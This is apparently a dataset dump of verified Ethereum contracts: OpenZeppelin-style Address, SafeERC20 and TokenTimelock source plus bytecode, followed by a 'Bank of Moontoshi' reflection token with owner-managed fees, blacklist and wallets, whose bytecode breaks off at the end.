* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseTime_
) {
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
} | 0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461006f578063b91d400114610079578063fc0c546a14610097575b600080fd5b6100596100b5565b6040516100669190610756565b60405180910390f35b6100776100dd565b005b61008161023a565b60405161008e9190610877565b60405180910390f35b61009f610262565b6040516100ac919061079a565b60405180910390f35b60007f0000000000000000000000002dbcf4d8275a9683be9d432782f0964e0bcafdd6905090565b6100e561023a565b421015610127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011e906107d7565b60405180910390fd5b6000610131610262565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101699190610756565b60206040518083038186803b15801561018157600080fd5b505afa158015610195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b991906105d0565b9050600081116101fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101f590610857565b60405180910390fd5b6102376102096100b5565b82610212610262565b73ffffffffffffffffffffffffffffffffffffffff1661028a9092919063ffffffff16565b50565b60007f0000000000000000000000000000000000000000000000000000000066d36127905090565b60007f0000000000000000000000008433536c2c89ad2af87b591309f1d61d0cfa0bea905090565b61030b8363a9059cbb60e01b84846040516024016102a9929190610771565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610310565b505050565b6000610372826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166103d79092919063ffffffff16565b90506000815111156103d2578080602001905181019061039291906105a7565b6103d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c890610837565b60405180910390fd5b5b505050565b60606103e684846000856103ef565b90509392505050565b606082471015610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906107f7565b60405180910390fd5b61043d85610503565b61047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610817565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516104a5919061073f565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50915091506104f7828286610516565b92505050949350505050565b600080823b905060008111915050919050565b6060831561052657829050610576565b6000835111156105395782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d91906107b5565b60405180910390fd5b9392505050565b60008151905061058c81610ad9565b92915050565b6000815190506105a181610af0565b92915050565b6000602082840312156105b957600080fd5b60006105c78482850161057d565b91505092915050565b6000602082840312156105e257600080fd5b60006105f084828501610592565b91505092915050565b610602816108c4565b82525050565b600061061382610892565b61061d81856108a8565b935061062d818560208601610930565b80840191505092915050565b6106428161090c565b82525050565b60006106538261089d565b61065d81856108b3565b935061066d818560208601610930565b61067681610963565b840191505092915050565b600061068e6032836108b3565b915061069982610974565b604082019050919050565b60006106b16026836108b3565b91506106bc826109c3565b604082019050919050565b60006106d4601d836108b3565b91506106df82610a12565b602082019050919050565b60006106f7602a836108b3565b915061070282610a3b565b604082019050919050565b600061071a6023836108b3565b915061072582610a8a565b604082019050919050565b61073981610902565b82525050565b600061074b8284610608565b915081905092915050565b600060208201905061076b60008301846105f9565b92915050565b600060408201905061078660008301856105f9565b6107936020830184610730565b9392505050565b60006020820190506107af6000830184610639565b92915050565b600060208201905081810360008301526107cf8184610648565b905092915050565b600060208201905081810360008301526107f081610681565b9050919050565b60006020820190508181036000830152610810816106a4565b9050919050565b60006020820190508181036000830152610830816106c7565b9050919050565b60006020820190508181036000830152610850816106ea565b9050919050565b600060208201905081810360008301526108708161070d565b9050919050565b600060208201905061088c6000830184610730565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006108cf826108e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109178261091e565b9050919050565b6000610929826108e2565b9050919050565b60005b8381101561094e578082015181840152602081019050610933565b8381111561095d576000848401525b50505050565b6000601f19601f8301169050919050565b7f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008201527f65666f72652072656c656173652074696d650000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008201527f6173650000000000000000000000000000000000000000000000000000000000602082015250565b610ae2816108d6565b8114610aed57600080fd5b50565b610af981610902565b8114610b0457600080fd5b5056fea2646970667358221220cb8df1ed29532b12d3c62d8c5300a92d35fb74e974708ea51f4b1dd5a7ae6bfd64736f6c63430008040033 | {"success": true, "error": null, "results": {}} | 1,976 |
0x40026a6dd4fdfabc006ef2a27b3232d9bc2f3e5d | /**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BankofMoontoshi is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bank of Moontoshi";
string private constant _symbol = "SANI BANK";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2; // 2% Redistribution
uint256 private _teamFee = 10; // 6% Marketing and 4% Buyback Fee
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _Deployer;
address payable private _Buyback;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketfund, address payable developer, address payable buyback) {
_Marketingfund = marketfund;
_Deployer = developer;
_Buyback = buyback;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_Buyback] = true;
_isExcludedFromFee[_Deployer] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(10).mul(6));
_Buyback.transfer(amount.div(10).mul(4));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Deployer);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Deployer);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _Deployer);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() {
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function setMarketingWallet(address payable account) external onlyOwner() {
_Marketingfund = account;
}
function setDev(address payable account) external onlyOwner() {
_Deployer = account;
}
function setBB(address payable account) external onlyOwner() {
_Buyback = account;
}
} | 0x6080604052600436106101bb5760003560e01c806395d89b41116100ec578063d00efb2f1161008a578063d65169c911610064578063d65169c914610504578063dd62ed3e14610524578063e01af92c1461056a578063e47d60601461058a57600080fd5b8063d00efb2f146104ae578063d477f05f146104c4578063d543dbeb146104e457600080fd5b8063c0e6b46e116100c6578063c0e6b46e1461042b578063c3c8cd801461044b578063c9567bf914610460578063cba0e9961461047557600080fd5b806395d89b41146103b9578063a9059cbb146103eb578063b515566a1461040b57600080fd5b8063437823ec116101595780636fc3eaec116101335780636fc3eaec1461034757806370a082311461035c578063715018a61461037c5780638da5cb5b1461039157600080fd5b8063437823ec146102e75780635932ead1146103075780635d098b381461032757600080fd5b806323b872dd1161019557806323b872dd14610269578063273123b71461028957806328667162146102ab578063313ce567146102cb57600080fd5b806306fdde03146101c7578063095ea7b31461021357806318160ddd1461024357600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152601181527042616e6b206f66204d6f6f6e746f73686960781b60208201525b60405161020a9190611d97565b60405180910390f35b34801561021f57600080fd5b5061023361022e366004611c28565b6105c3565b604051901515815260200161020a565b34801561024f57600080fd5b50683635c9adc5dea000005b60405190815260200161020a565b34801561027557600080fd5b50610233610284366004611be8565b6105da565b34801561029557600080fd5b506102a96102a4366004611b78565b610643565b005b3480156102b757600080fd5b506102a96102c6366004611d52565b610697565b3480156102d757600080fd5b506040516009815260200161020a565b3480156102f357600080fd5b506102a9610302366004611b78565b610724565b34801561031357600080fd5b506102a9610322366004611d1a565b610772565b34801561033357600080fd5b506102a9610342366004611b78565b6107ba565b34801561035357600080fd5b506102a9610806565b34801561036857600080fd5b5061025b610377366004611b78565b610833565b34801561038857600080fd5b506102a9610855565b34801561039d57600080fd5b506000546040516001600160a01b03909116815260200161020a565b3480156103c557600080fd5b5060408051808201909152600981526853414e492042414e4b60b81b60208201526101fd565b3480156103f757600080fd5b50610233610406366004611c28565b6108c9565b34801561041757600080fd5b506102a9610426366004611c53565b6108d6565b34801561043757600080fd5b506102a9610446366004611d52565b61097a565b34801561045757600080fd5b506102a9610a19565b34801561046c57600080fd5b506102a9610a4f565b34801561048157600080fd5b50610233610490366004611b78565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156104ba57600080fd5b5061025b60165481565b3480156104d057600080fd5b506102a96104df366004611b78565b610e15565b3480156104f057600080fd5b506102a96104ff366004611d52565b610e61565b34801561051057600080fd5b506102a961051f366004611b78565b610f2e565b34801561053057600080fd5b5061025b61053f366004611bb0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057657600080fd5b506102a9610585366004611d1a565b610f7a565b34801561059657600080fd5b506102336105a5366004611b78565b6001600160a01b03166000908152600e602052604090205460ff1690565b60006105d0338484610fb8565b5060015b92915050565b60006105e78484846110dc565b610639843361063485604051806060016040528060288152602001611f68602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113be565b610fb8565b5060019392505050565b6000546001600160a01b031633146106765760405162461bcd60e51b815260040161066d90611dea565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b031633146106c15760405162461bcd60e51b815260040161066d90611dea565b600181101580156106d3575060198111155b61071f5760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d2032350000000000604482015260640161066d565b600955565b6000546001600160a01b0316331461074e5760405162461bcd60e51b815260040161066d90611dea565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b0316331461079c5760405162461bcd60e51b815260040161066d90611dea565b60148054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146107e45760405162461bcd60e51b815260040161066d90611dea565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b03161461082657600080fd5b47610830816113f8565b50565b6001600160a01b0381166000908152600260205260408120546105d49061148d565b6000546001600160a01b0316331461087f5760405162461bcd60e51b815260040161066d90611dea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105d03384846110dc565b6000546001600160a01b031633146109005760405162461bcd60e51b815260040161066d90611dea565b60005b8151811015610976576001600e600084848151811061093257634e487b716